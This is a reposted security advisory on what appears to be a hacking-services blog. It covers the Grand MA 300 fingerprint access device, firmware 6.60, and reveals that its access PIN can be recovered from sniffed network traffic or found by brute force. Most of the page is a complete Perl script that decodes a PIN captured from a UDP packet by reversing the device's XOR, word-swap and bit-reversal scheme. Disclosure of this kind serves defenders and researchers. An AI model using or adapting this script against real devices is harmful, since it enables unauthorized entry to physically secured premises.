Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86379514

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable. 

#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0;     # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret =  $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
    $fin = $fin + 1;
  }
  $ret = $ret / 2;
}

printf("final: %X \n", $fin);